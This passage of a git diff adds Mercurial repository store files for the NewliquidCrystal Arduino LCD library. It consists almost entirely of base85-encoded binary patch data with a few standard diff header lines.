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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_fast_i_o.cpp.i b/libraries/NewliquidCrystal/.hg/store/data/_fast_i_o.cpp.i new file mode 100644 index 0000000000000000000000000000000000000000..74cbef652ebdaf0f435cf3aed6483bbed304b265 GIT binary patch literal 14561 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 